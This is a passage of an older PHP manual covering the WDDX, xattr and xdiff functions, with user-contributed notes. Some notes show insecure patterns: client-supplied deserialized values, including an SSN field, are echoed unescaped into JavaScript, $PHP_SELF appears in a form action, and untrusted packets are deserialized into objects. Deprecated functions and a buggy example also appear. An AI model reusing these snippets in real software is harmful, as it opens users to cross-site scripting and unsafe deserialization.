       if ($xmlpacket instanceof SimpleXMLElement)
       {
           if (!empty($xmlpacket->struct))
           {
               $struct = array();
               foreach ($xmlpacket->xpath("struct/var") as $var)
               {
                   if (!empty($var["name"]))
                   {
                       $key = (string) $var["name"];
                       $struct[$key] = wddx_deserialize($var);
                   }
               }
               return $struct;
           }
           else if (!empty($xmlpacket->array))
           {
               $array = array();
               foreach ($xmlpacket->xpath("array/*") as $var)
               {
                   array_push($array, wddx_deserialize($var));
               }
               return $array;
           }
           else if (!empty($xmlpacket->string))
           {
               return (string) $xmlpacket->string;
           }
           else if (!empty($xmlpacket->number))
           {
               return (int) $xmlpacket->number;
           }
           else
           {
               if (is_numeric((string) $xmlpacket))
               {
                   return (int) $xmlpacket;
               }
               else
               {
                   return (string) $xmlpacket;
               }
           }
       }
       else
       {
           $sxe = simplexml_load_string($xmlpacket);
           $datanode = $sxe->xpath("/wddxPacket[@version='1.0']/data");
           return wddx_deserialize($datanode[0]);
       }
   }
}

?>
php dot net at werner-ott dot de
24-Nov-2005 04:20
On migrating wddx_deserialize() from PHP 4.x to PHP 5.1 (5.1.0RC6):

While

  $buffer = wddx_serialize_vars($some_array);
  $some_array = wddx_deserialize($buffer);

worked fine with PHP 4.x, the deserialization failed with PHP 5.1. In the above example $some_array will just be an empty string under 5.1

While wddx_serialize_vars() seems to behave identical in 4.x and 5.1, wddx_deserialize() does NOT.

Prepending XML encoding information to the buffer turned out to be at least a workaround. So, the following works with PHP 5.1:

  $buffer = wddx_serialize_vars($some_array);
  $buffer = '<?xml version="1.0"
         encoding="ISO-8859-1"?>'.
         $buffer;
  $some_array = wddx_deserialize($buffer);

NB: It may well be, that the behavioural difference between 4.x and 5.1 described above can only be observed if the array contains certain characters, i.e. german Umlaute (). So this workaround may not be necessary in each and every case.
mail_fidel at yahoo dot com
20-Nov-2004 04:11
To properly deserialize a wddx file it was to be utf8_encoded.

The following code will NOT work (PHP5.0.2 FreeBSD):

<?php
   $data = wddx_serialize_value(array("xyz","abcd"));
   print $data;
   print_r(wddx_deserialize($data));

?>

Even thought the serialization is done right, the deserialization will not work unless you encode the text using utf8.

This code WILL work:

<?php
   $data = wddx_serialize_value(array(utf8_encode("xyz"),"abcd"));
   print $data;
   print_r(wddx_deserialize($data));

?>
xavier at c-est-simple dot com
19-May-2004 07:09
JavaScript/PHP interroperability:

If you want to exchange wddx packets between a JavaScript application using the JS wddx library from openwddx (http://www.openwddx.org/downloads/), and a PHP script using wddx functions, be aware that the encoding of the classes of objects serialized in the wddx packet is not made the same way in both implementations.

The JS lib uses a 'type' attribute in the 'struct' tab and gives it the name of the class of the object serialized in the 'struct' element, while PHP uses a 'php_class_name' tag within the 'struct'.
NB : to get the type attribute with JS serialisation, you need to set the 'wddxSerializationType' member in your classes

Example with an object of class 'exemple' containing 2 members _attr1 and _attr2.
(NB : in french, 'example' is spelled 'exemple', okay ? :-)

JS serialization :
<wddxPacket version='1.0'>
 <header/>
 <data>
  <struct type="exemple">
   <var name='_attr1'>
   <string>foo</string>
   </var>
   <var name='_attr2'>
   <string>bar</string>
   </var>
  </struct>
 </data>
</wddxPacket>

php serialization:
<wddxPacket version='1.0'>
 <header/>
 <data>
  <struct>
   <var name='php_class_name'>
   <string>exemple</string>
   </var>
   <var name='_attr1'>
   <string>foo</string>
   </var>
   <var name='_attr2'>
   <string>bar</string>
   </var>
  </struct>
 </data>
</wddxPacket>

I like the JS approach better.
So if you need the compatibility, the workaround is quite simple:
- add a 'php_class_name' member in your JS objects, giving it the name of the class for value, and the JS generated packet will be correctly deserialized with PHP in classed objects.

- use a regexp on a PHP generated packet to add the 'type' attribute so that the JS deserialization instanciates objects of the right class:
     $pat = "/<struct><var name='php_class_name'><string>(\w+)<\/string>/" ;
     $rep = "<struct type='\$1'><var name='php_class_name'><string>\$1</string>" ;
     $serialised = preg_replace($pat, $rep, $serialised );
NB : this only works because the 'php_class_name' tag is just next to the 'struct' tag.
Who knows if this is going to be true in future releases... ?

This way, you can exchange JS and PHP objects (provided you define your JS and PHP classes the same way) smoothly...

It's worth saying that both implementations, as well as my interroperability workaround, handle correctly objects with members that are also objects.

NB : NB means Nota Bene.
xavier at c-est-simple.com
19-May-2004 01:19
Beware, although the deserialized objects are instanciated class objects (if the php_class_name tag is amongst the children of the struct tag and its text content is the name of a loaded class), the constructor of the class has not been called at all.
You can use the members and call the methods of the object all right, but any initialisation action that the constructor might be in charge of is missing.
php at mike2k dot com
11-Sep-2001 09:06
if you have WDDX data coming from a third party source and it isnt being parsed correctly in your php, try translating their WDDX. we have a third party sending us WDDX from cold fusion, and it uses a <recordset> element, which PHP seems to ignore (looking around the web we found some other people having trouble) so the (hopefully temporary) solution we found was to translate the WDDX midstream and then we were able to parse it:

$url = "http://somedomain.com/blah.wddx";
$fp = fopen($url,"r");
$page = fread($fp,10000);
fclose($fp);
$page = str_replace("<recordset","<struct",$page);
$page = str_replace("</recordset","</struct",$page);
$page = str_replace("<field","<var",$page);
$page = str_replace("</field","</var",$page);
$values = wddx_deserialize($page);
while(list($key,$val) = each($values)) {
       print "$key => $val<BR>";
}

this works for us. it's a hack, and hopefully php will support this in the future or something.
medvitz at medvitz dot net
15-Oct-2000 08:29
You can also serialize instantiated class objects with the wddx functions.

ie.

$packet_id = wddx_packet_start("PHP");
wddx_add_vars($packet_id, "objvar");
$packet = wddx_packet_end($packet_id);

$a =  wddx_deserialize($packet);
$obj = $a[objvar];

now $obj is a useable object, that looks like the original.

Note that with this method, you need to know what the variable name of the original object was.  You can use one of the array functions to get the object in the event that the original object's variable name was unknown.

*** only verified on linux with 4.0.2
djm at web dot eng dot us dot uu dot net
19-Oct-1999 03:07
At least in PHP 4.0B2, this function kills your PHP script if you feed it something that doesn't contain a well-formed WDDX packet.  For example, this program:

<pre>
$value = wddx_deserialize("foo");
</pre>

doesn't return an error code, but instead you get
this back from apache:

<pre>
<HTML>
<HEAD>
<TITLE>
An Error Occurred
</TITLE>
</HEAD>
<BODY>
<H1>An Error Occurred</h1>
500 - Unexpected EOF.

</BODY>
</HTML>
</pre>
This happens even if you prefix the command with @,
which turns off error reporting.
djm at web dot us dot uu dot net
19-Oct-1999 12:58
The packet string you pass to this function doesn't have to be sanitized first; it searches for a WDDX packet within the string.  So the string can contain HTML markup and random text outside of the packet, and that is all ignored.
This means you can get a packet from another web page like this:

$fhandle = fopen("http://myserver.com/packet.php", "r");
if ($fhandle) {
       $page = fread($fhandle,10000);
       fclose($fhandle);
       $value = wddx_deserialize($page);
       print "pi is:<br>" . $value["pi"] . "<p>\n";
} else {
       print "could not get packet.php<p>";
}
add a note add a note

后退 | 起点 | 前进
wddx_add_vars | 上一级 | wddx_packet_end


wddx_packet_end

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

wddx_packet_end -- Ends a WDDX packet with the specified ID

Description

string wddx_packet_end ( resource packet_id )

wddx_packet_end() ends the WDDX packet specified by the packet_id and returns the string with the packet.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
wddx_deserialize | 上一级 | wddx_packet_start


wddx_packet_start

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

wddx_packet_start -- Starts a new WDDX packet with structure inside it

Description

resource wddx_packet_start ( [string comment] )

Use wddx_packet_start() to start a new WDDX packet for incremental addition of variables. It takes an optional comment string and returns a packet ID for use in later functions. It automatically creates a structure definition inside the packet to contain the variables.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
wddx_packet_end | 上一级 | wddx_serialize_value


wddx_serialize_value

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

wddx_serialize_value -- Serialize a single value into a WDDX packet

Description

string wddx_serialize_value ( mixed var [, string comment] )

wddx_serialize_value() is used to create a WDDX packet from a single given value. It takes the value contained in var, and an optional comment string that appears in the packet header, and returns the WDDX packet.

add a note add a note User Contributed Notes
chris at digitalbase dot com
05-Jan-2002 08:36
When serializing JavaScript objects to interact with PHP objects, you should make the JavaScript object's first entry a php_class_name.

PHP:
class myclass {
   var $name;
   var $age;
   var $ssn;
   ...

   function myclass() {
       $this->name = "";
       $this->age = "";
       $this->ssn = "";
       ...
   }
}

JavaScript:
// serialization example code is from the
// WDDX SDK http://www.openwddx.org
function SerializeMsg(name, age, ssn, ...) {
   var MyObj = new Object;

   // the following line is necessary in order
   // to deserialize back to a PHP object
   MyObj.php_class_name = "myclass";

   MyObj.name = name;
   MyObj.age = age;
   MyObj.ssn = ssn;
   ...

   // Create a new serializer "object" to do our work for us
   MySer = new WddxSerializer;

   // Serialize the Message variable into a WDDX Packet
   MyWDDXPacket = MySer.serialize(MyObj);

   // Output WDDX Packet so we can see what it looks like
   return MyWDDXPacket;
}

Now you can use this in a page which is its own form action:
<?php
// don't forget to include the class definition from above!
if (!isSet($wddx_packet))
   $MyObj = new myclass();
else
   $MyObj = wddx_deserialize($wddx_packet);
?>

<html>
<head>
<script language="JavaScript">
<!--
function Init() {
   // sets the form's text-elements
   tmp = document.MyForm;

   tmp.name.value = "<? echo $MyObj->name ?>";
   tmp.age.value = "<? echo $MyObj->age ?>";
   tmp.ssn.value = "<? echo $MyObj->ssn ?>";
   ...
}

function SerializeMsg(name, age, ssn, ...) {
// see above!
}

function SubmitForm() {
   // sumbits the form
   tmp = document.MyForm;

   tmp.wddx_packet.value =
   SerializeMsg(tmp.name.value, tmp.age.value, tmp.ssn.value,...);
   document.submit();
}
// -->
</script>
</head>
<body>
...
<form name="MyForm"
action="<? echo $PHP_SELF ?>" method="post">
<input name="wddx_packet" type="hidden">
<input name="name" type="text">
<input name="age" type="text">
<input name="ssn" type="text">
...
<input name="SubmitBtn" type="button" onclick="SumbitForm()">
</form>
</body>
</html>

---------------------------------
If you don't provide that first 'php_class_name' in the JavaScript function, then when PHP deserializes it will deserialize into an associative array and not an object instance.

Note that this provides a way to maintain state without
using sessions or cookies - just good old HTML!

Hope this helps!
--
Chris Hansen
add a note add a note

后退 | 起点 | 前进
wddx_packet_start | 上一级 | wddx_serialize_vars


wddx_serialize_vars

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

wddx_serialize_vars -- Serialize variables into a WDDX packet

Description

string wddx_serialize_vars ( mixed var_name [, mixed ...] )

wddx_serialize_vars() is used to create a WDDX packet with a structure that contains the serialized representation of the passed variables.

wddx_serialize_vars() takes a variable number of arguments, each of which can be either a string naming a variable or an array containing strings naming the variables or another array, etc.

例子 1. wddx_serialize_vars() example

<?php
$a = 1;
$b = 5.5;
$c = array("blue", "orange", "violet");
$d = "colors";

$clvars = array("c", "d");
echo wddx_serialize_vars("a", "b", $clvars);
?>

The above example will produce:
<wddxPacket version='1.0'><header/><data><struct><var name='a'><number>1</number></var>
<var name='b'><number>5.5</number></var><var name='c'><array length='3'>
<string>blue</string><string>orange</string><string>violet</string></array></var>
<var name='d'><string>colors</string></var></struct></data></wddxPacket>

add a note add a note User Contributed Notes
kangus at jaga dot us
13-Oct-2003 06:57
A function to use for dates with PHP & WDDX
getdate()

$ta="<FORM><TEXTAREA rows=15 cols=80>" ;
$te="</TEXTAREA></FORM>";
$packet_id=wddx_packet_start("Date Example--");
$myDate=getdate();
wddx_add_vars($packet_id,'myDate');
$package=wddx_packet_end($packet_id);
print($ta.$package.$te);

Produces:

<wddxPacket version='1.0'><header><comment>Date Example--</comment></header>
<data><struct><var name='myDate'>
<struct><var name='seconds'><number>12</number></var>
<var name='minutes'><number>55</number></var>
<var name='hours'><number>1</number></var>
<var name='mday'><number>13</number></var>
<var name='wday'><number>1</number></var>
<var name='mon'><number>10</number></var>
<var name='year'><number>2003</number></var>
<var name='yday'><number>285</number></var>
<var name='weekday'><string>Monday</string></var>
<var name='month'><string>October</string></var>
<var name='0'><number>1066031712</number>
</var></struct></var></struct></data></wddxPacket>
tychay at alumni dot caltech dot edu
31-Mar-2002 04:15
The above feature will cause a slight trouble since the name of the variable will always be "wddxtemp" but you can use preg_replace to fix that.

Also, a better approach is to serialize the entire class. WDDX will that write a reserved "php_class_name" variable which can be used to reconstruct the class during a deserialize.
tychay at alumni dot caltech dot edu
31-Mar-2002 02:49
You can use globals to get around the above in classes:

<?php
class Test
{
  var $str;
  var $wddx;

  function Test()
  {
   $this->str = "test";
   $this->wddx_serialize($this->str);
   header('Content-Type: text/xml');
   echo ($this->wddx);
  }

  function wddx_serialize($var) {
   global $wddxtemp;
   unset($wddxtemp);
   $wddxtemp = $var;
   $this->wddx = wddx_serialize_vars("wddxtemp");
  }
}

new Test();
?>
-terry
tychay at alumni dot caltech dot edu
31-Mar-2002 02:45
You can use globals to get around the above in classes:

<?php
class Test
{
  var $str;
  var $wddx;

  function Test()
  {
   $this->str = "test";
   $this->wddx_serialize($this->str);
   header('Content-Type: text/xml');
   echo ($this->wddx);
  }

  function wddx_serialize($var) {
   global $wddxtemp;
   unset($wddxtemp);
   $wddxtemp = $var;
   $this->wddx = wddx_serialize_vars("wddxtemp");
  }
}

new Test();
?>
-terry
christian dot knoflach at gmx dot at
22-May-2001 06:56
Be careful using WDDX - functions on object variables. As I just had to find out the following won't work:

<?php
class Test
{
  var $str;
  var $wddx;

  function Test()
  {
   $this->str = "test";
   $this->wddx = wddx_serialize_vars("this->str");
   print(htmlentities($this->wddx));
  }
}

new Test();
?>

That's what you'll get:
<wddxPacket version='1.0'><header/><data><struct></struct></data></wddxPacket>
add a note add a note

后退 | 起点 | 前进
wddx_serialize_value | 上一级 | wddx_unserialize


wddx_unserialize

(PHP 3 >= 3.0.7, PHP 5 CVS only)

wddx_unserialize -- Unserializes a WDDX packet

Description

mixed wddx_unserialize ( string packet )

wddx_unserialize() takes a packet string and unserializes it. It returns the result which can be string, number, or array. Note that structures are unserialized into associative arrays.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
wddx_serialize_vars | 上一级 | xattr Functions


xattr Functions

PHP 手册
后退 前进

CLIV. xattr Functions

简介

The xattr extension allows for the manipulation of extended attributes on a filesystem.

需求

To use xattr, you will need libattr installed. It is available at http://oss.sgi.com/projects/xfs/.

注: These functions only work on filesystems that support extended attributes, and have them enabled at mount time. Some common filesystems that support extended attributes are ext2, ext3, reiserfs, jfs, and xfs.

安装

xattr is currently available through PECL http://pecl.php.net/package/xattr.

If PEAR is available on your *nix-like system you can use the pear installer to install the xattr extension, by the following command: pear -v install xattr.

You can always download the tar.gz package and install xattr by hand:

例子 1. xattr install by hand

gunzip xattr-xxx.tgz
tar -xvf xattr-xxx.tar
cd xattr-xxx
phpize
./configure && make && make install

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

XATTR_ROOT (integer)

Set attribute in root (trusted) namespace. Requires root privileges.

XATTR_DONTFOLLOW (integer)

Do not follow the symbolic link but operate on symbolic link itself.

XATTR_CREATE (integer)

Function will fail if extended attribute already exists.

XATTR_REPLACE (integer)

Function will fail if extended attribute doesn't exist.

目录
xattr_get -- Get an extended attribute
xattr_list -- Get a list of extended attributes
xattr_remove -- Remove an extended attribute
xattr_set -- Set an extended attribute
xattr_supported -- Check if filesystem supports extended attributes

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
wddx_unserialize | 上一级 | xattr_get


xattr_get

(PECL)

xattr_get -- Get an extended attribute

说明

string xattr_get ( string filename, string name [, int flags] )

This function gets the value of an extended attribute of a file.

扩展的属性有两个不同的名字空间：user 和 root 名字空间。user 名字空间对所有用户均有效，而 root 名字空间仅对拥有 root 权限的用户有效。xattr 默认在 user 名字空间上进行操作，但是可以使用 flags 参数进行更改。

参数

filename

The file from which we get the attribute.

name

The name of the attribute.

flags

表格 1. Supported xattr flags

XATTR_DONTFOLLOW | Do not follow the symbolic link but operate on symbolic link itself.
XATTR_ROOT | Set attribute in root (trusted) namespace. Requires root privileges.

返回值

Returns a string containing the value or FALSE if the attribute doesn't exist.

范例

例子 1. Checks if system administrator has signed the file

<?php
$file = '/usr/local/sbin/some_binary';
$signature = xattr_get($file, 'Root signature', XATTR_ROOT);

/* ... check if $signature is valid ... */

?>

参见

xattr_list()
xattr_set()
xattr_remove()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xattr Functions | 上一级 | xattr_list


xattr_list

(PECL)

xattr_list -- Get a list of extended attributes

说明

array xattr_list ( string filename [, int flags] )

This functions gets a list of names of extended attributes of a file.

扩展的属性有两个不同的名字空间：user 和 root 名字空间。user 名字空间对所有用户均有效，而 root 名字空间仅对拥有 root 权限的用户有效。xattr 默认在 user 名字空间上进行操作，但是可以使用 flags 参数进行更改。

参数

filename

The path of the file.

flags

表格 1. Supported xattr flags

XATTR_DONTFOLLOW | Do not follow the symbolic link but operate on symbolic link itself.
XATTR_ROOT | Set attribute in root (trusted) namespace. Requires root privileges.

返回值

This function returns an array with names of extended attributes.

范例

例子 1. Prints names of all extended attributes of file

<?php
$file = 'some_file';
$root_attributes = xattr_list($file, XATTR_ROOT);
$user_attributes = xattr_list($file);

echo "Root attributes: \n";
foreach ($root_attributes as $attr_name) {
    printf("%s\n", $attr_name);
}

echo "\n User attributes: \n";
foreach ($attributes as $attr_name) {
    printf("%s\n", $attr_name);
}

?>

参见

xattr_get()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xattr_get | 上一级 | xattr_remove


xattr_remove

(PECL)

xattr_remove -- Remove an extended attribute

说明

bool xattr_remove ( string filename, string name [, int flags] )

This function removes an extended attribute of a file.

扩展的属性有两个不同的名字空间：user 和 root 名字空间。user 名字空间对所有用户均有效，而 root 名字空间仅对拥有 root 权限的用户有效。xattr 默认在 user 名字空间上进行操作，但是可以使用 flags 参数进行更改。

参数

filename

The file from which we remove the attribute.

name

The name of the attribute to remove.

flags

表格 1. Supported xattr flags

XATTR_DONTFOLLOW | Do not follow the symbolic link but operate on symbolic link itself.
XATTR_ROOT | Set attribute in root (trusted) namespace. Requires root privileges.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Removes all extended attributes of a file

<?php
$file = 'some_file';
$attributes = xattr_list($file);

foreach ($attributes as $attr_name) {
    xattr_remove($file, $attr_name);
}
?>

参见

xattr_list()
xattr_set()
xattr_get()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xattr_list | 上一级 | xattr_set


xattr_set

(PECL)

xattr_set -- Set an extended attribute

说明

bool xattr_set ( string filename, string name, string value [, int flags] )

This function sets the value of an extended attribute of a file.

扩展的属性有两个不同的名字空间：user 和 root 名字空间。user 名字空间对所有用户均有效，而 root 名字空间仅对拥有 root 权限的用户有效。xattr 默认在 user 名字空间上进行操作，但是可以使用 flags 参数进行更改。

参数

filename

The file in which we set the attribute.

name

The name of the extended attribute. This attribute will be created if it doesn't exist or replaced otherwise. You can change this behaviour by using the flags parameter.

value

The value of the attribute.

flags

表格 1. Supported xattr flags

XATTR_CREATE | Function will fail if extended attribute already exists.
XATTR_REPLACE | Function will fail if extended attribute doesn't exist.
XATTR_DONTFOLLOW | Do not follow the symbolic link but operate on symbolic link itself.
XATTR_ROOT | Set attribute in root (trusted) namespace. Requires root privileges.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Sets extended attributes on .wav file

<?php
$file = 'my_favourite_song.wav';
xattr_set($file, 'Artist', 'Someone');
xattr_set($file, 'My ranking', 'Good');
xattr_set($file, 'Listen count', '34');

/* ... other code ... */

printf("You've played this song %d times", xattr_get($file, 'Listen count'));
?>

参见

xattr_get()
xattr_remove()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xattr_remove | 上一级 | xattr_supported


xattr_supported

(PECL)

xattr_supported -- Check if filesystem supports extended attributes

说明

bool xattr_supported ( string filename [, int flags] )

This functions checks if the filesystem holding the given file supports extended attributes. Read access to the file is required.

参数

filename

The path of the tested file.

flags

表格 1. Supported xattr flags

XATTR_DONTFOLLOW Do not follow the symbolic link but operate on symbolic link itself.

返回值

This function returns TRUE if filesystem supports extended attributes, FALSE if it doesn't and NULL if it can't be determined (for example wrong path or lack of permissions to file).

范例

例子 1. xattr_supported() example

The following code checks if we can use extended attributes.

<?php
$file = 'some_file';

if (xattr_supported($file)) {
    /* ... make use of some xattr_* functions ... */
}

?>

参见

xattr_get()
xattr_list()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xattr_set | 上一级 | xdiff Functions


xdiff Functions

PHP 手册
后退 前进

CLV. xdiff Functions

简介

xdiff extension creates and applies patches to both text and binary files.

需求

To use xdiff, you will need libxdiff installed, available on the libxdiff homepage http://www.xmailserver.org/xdiff-lib.html.

注: You'll need at least libxdiff 0.7 for these functions to be aware of memory_limit.

安装

xdiff is currently available through PECL http://pecl.php.net/package/xdiff.

If PEAR is available on your *nix-like system you can use the pear installer to install the xdiff extension, by the following command: pear -v install xdiff.

You can always download the tar.gz package and install xdiff by hand:

例子 1. xdiff install by hand

gunzip xdiff-xxx.tgz
tar -xvf xdiff-xxx.tar
cd xdiff-xxx
phpize
./configure && make && make install

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

XDIFF_PATCH_NORMAL (integer)

XDIFF_PATCH_REVERSE (integer)

目录
xdiff_file_diff_binary -- Make binary diff of two files
xdiff_file_diff -- Make unified diff of two files
xdiff_file_merge3 -- Merge 3 files into one
xdiff_file_patch_binary -- Patch a file with a binary diff
xdiff_file_patch -- Patch a file with an unified diff
xdiff_string_diff_binary -- Make binary diff of two strings
xdiff_string_diff -- Make unified diff of two strings
xdiff_string_merge3 -- Merge 3 strings into one
xdiff_string_patch_binary -- Patch a string with a binary diff
xdiff_string_patch -- Patch a string with an unified diff

add a note add a note User Contributed Notes
amir.laher
05-Apr-2005 05:09
the xdiff functions require your initial string to end with a \n character.

When you use xdiff_string_diff, the initial string must either be zero-length or end with \n
eg. $patch= xdiff_string_diff($string,$string2);

if not, the patch will return an empty string.
xdiff_string_patch($string,$patch);

This will not normally affect xdiff_file_diff, but it's annoying nevertheless. To prevent this unexpected effect, I append a \n to the string before applying the initial diff, as follows.
if (!ereg("\n$",$string)) $string.="\n";
add a note add a note

后退 | 起点 | 前进
xattr_supported | 上一级 | xdiff_file_diff_binary


xdiff_file_diff_binary

(PECL)

xdiff_file_diff_binary -- Make binary diff of two files

Description

bool xdiff_file_diff_binary ( string file1, string file2, string dest )

xdiff_file_diff_binary() makes binary diff of files file1 and file2 and stores result in file dest. This function works with both text and binary files. Resulting file is in binary format.

注: Both files will be loaded into memory so ensure that your memory_limit is set high enough.

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. xdiff_file_diff_binary() example

The following code makes binary diff of two archives.

<?php
$old_version = 'my_script_1.0.tgz';
$new_version = 'my_script_1.1.tgz';

xdiff_file_diff_binary($old_version, $new_version, 'my_script.bdiff');
?>

See also xdiff_string_diff_binary().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xdiff Functions | 上一级 | xdiff_file_diff


xdiff_file_diff

(PECL)

xdiff_file_diff -- Make unified diff of two files

Description

bool xdiff_file_diff ( string file1, string file2, string dest [, int context [, bool minimal]] )

xdiff_file_diff() makes unified diff of files file1 and file2 and stores result in file dest. context indicated how many lines of context you want to include in diff result. Set minimal to TRUE if you want to minimalize size of diff (can take a long time). Resulting file is human-readable.

注: This function doesn't work well with binary files. To make diff of binary files use xdiff_file_diff_binary().

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. xdiff_file_diff() example

The following code makes unified diff of two php files.

<?php
$old_version = 'my_script.php';
$new_version = 'my_new_script.php';

xdiff_file_diff($old_version, $new_version, 'my_script.diff', 2);
?>

See also xdiff_string_diff().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xdiff_file_diff_binary | 上一级 | xdiff_file_merge3


xdiff_file_merge3

(PECL)

xdiff_file_merge3 -- Merge 3 files into one

Description

mixed xdiff_file_merge3 ( string file1, string file2, string file3, string dest )

xdiff_file_merge3() merges files file1, file2 and file3 into one and stores result in file dest.

Returns TRUE if merge was successful, string with rejected chunks if it was not or FALSE if an internal error happened.

例子 1. xdiff_file_merge3() example

The following code merges three files into one.

<?php
$old_version = 'original_script.php';
$fix1 = 'script_with_fix1.php';
$fix2 = 'script_with_fix2.php';

$errors = xdiff_file_merge3($old_version, $fix1, $fix2, 'fixed_script.php');
if (is_string($errors)) {
    echo "Rejects:\n";
    echo $errors;
}
?>

See also xdiff_string_merge3().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xdiff_file_diff | 上一级 | xdiff_file_patch_binary


xdiff_file_patch_binary

(PECL)

xdiff_file_patch_binary -- Patch a file with a binary diff

Description

bool xdiff_file_patch_binary ( string file, string patch, string dest )

xdiff_file_patch_binary() patches file file with binary patch in file patch and stores result in file dest.

注: Both files (file and patch) will be loaded into memory so ensure that your memory_limit is set high enough.

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. xdiff_file_patch_binary() example

The following code applies binary diff to a file.

<?php
$old_version = 'archive-1.0.tgz';
$patch = 'archive.bpatch';

$result = xdiff_file_patch_binary($old_version, $patch, 'archive-1.1.tgz');
if ($result) {
   echo "File patched";
} else {
   echo "File couldn't be patched";
}

?>

See also xdiff_string_patch_binary().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xdiff_file_merge3 | 上一级 | xdiff_file_patch


xdiff_file_patch

(PECL)

xdiff_file_patch -- Patch a file with an unified diff

Description

mixed xdiff_file_patch ( string file, string patch, string dest [, int flags] )

xdiff_file_patch() patches file file with unified patch in file patch and stores result in file dest.

flags can be either XDIFF_PATCH_NORMAL (default mode, normal patch) or XDIFF_PATCH_REVERSE (reversed patch).

Returns FALSE if an internal error happened, string with rejected chunks of patch or TRUE if patch has been successfully applied.

例子 1. xdiff_file_patch() example

The following code applies unified diff to a file.

<?php
$old_version = 'my_script-1.0.php';
$patch = 'my_script.patch';

$errors = xdiff_file_patch($old_version, $patch, 'my_script-1.1.php');
if (is_string($errors)) {
   echo "Rejects:\n";
   echo $errors;
}

?>

例子 2. Patch reversing example

The following code reverses a patch.

<?php
$new_version = 'my_script-1.1.php';
$patch = 'my_script.patch';

$errors = xdiff_file_patch($new_version, $patch, 'my_script-1.0.php', XDIFF_PATCH_REVERSE);
if (is_string($errors)) {
   echo "Rejects:\n";
   echo $errors;
}

?>

See also xdiff_string_patch().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xdiff_file_patch_binary | 上一级 | xdiff_string_diff_binary


xdiff_string_diff_binary

(PECL)

xdiff_string_diff_binary -- Make binary diff of two strings

Description

string xdiff_string_diff_binary ( string str1, string str2 )

xdiff_string_diff_binary() makes binary diff of strings str1 and str2.

Returns string with result or FALSE if an internal error happened.

See also xdiff_file_diff_binary().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xdiff_file_patch | 上一级 | xdiff_string_diff


xdiff_string_diff

(PECL)

xdiff_string_diff -- Make unified diff of two strings

Description

string xdiff_string_diff ( string str1, string str2 [, int context [, bool minimal]] )

xdiff_string_diff() makes unified diff of strings str1 and str2. context indicated how many lines of context you want to include in diff result. Set minimal to TRUE if you want to minimalize size of diff (can take a long time).

注: This function doesn't work well with binary strings. To make diff of binary strings use xdiff_string_diff_binary().

Returns string with result or FALSE if an internal error happened.

例子 1. xdiff_string_diff() example

The following code makes unified diff of two articles.

<?php
$old_article = file_get_contents('./old_article.txt');
$new_article = $_REQUEST['article']; /* Let's say that someone pasted a new article to html form */

$diff = xdiff_string_diff($old_article, $new_article, 1);
if (is_string($diff)) {
    echo "Differences between two articles:\n";
    echo $diff;
}

?>

See also xdiff_file_diff().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xdiff_string_diff_binary | 上一级 | xdiff_string_merge3


xdiff_string_merge3

(PECL)

xdiff_string_merge3 -- Merge 3 strings into one

Description

mixed xdiff_string_merge3 ( string str1, string str2, string str3 [, string &error] )

xdiff_string_merge3() merges strings str1, str2 and str3 into one.

If error is passed then rejected parts are stored inside this variable.

Returns merged string, FALSE if an internal error happened, or TRUE if merged string is empty.

See also xdiff_file_merge3().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xdiff_string_diff | 上一级 | xdiff_string_patch_binary


xdiff_string_patch_binary

(PECL)

xdiff_string_patch_binary -- Patch a string with a binary diff

Description

string xdiff_string_patch_binary ( string str, string patch )

xdiff_string_patch_binary() patches string str with binary patch in string patch.

Returns a patched string.

See also xdiff_file_patch_binary().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xdiff_string_merge3 | 上一级 | xdiff_string_patch


xdiff_string_patch

(PECL)

xdiff_string_patch -- Patch a string with an unified diff

Description

string xdiff_string_patch ( string str, string patch [, int flags [, string &error]] )

xdiff_string_patch() patches string str with unified patch in string patch.

flags can be either XDIFF_PATCH_NORMAL (default mode, normal patch) or XDIFF_PATCH_REVERSE (reversed patch).

If error is passed then rejected parts are stored inside this variable.

例子 1. xdiff_string_patch() example

The following code applies changes to some article.

<?php
$old_article = file_get_contents('./old_article.txt');
$diff = $_SERVER['patch']; /* Let's say that someone pasted a patch to html form */

$errors = '';

$new_article = xdiff_string_patch($old_article, $diff, XDIFF_PATCH_NORMAL, $errors);
if (is_string($new_article)) {
    echo "New article:\n";
    echo $new_article;
}

if (strlen($errors)) {
    echo "Rejects: \n";
    echo $errors;
}

?>

Returns a patched string.

See also xdiff_file_patch().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

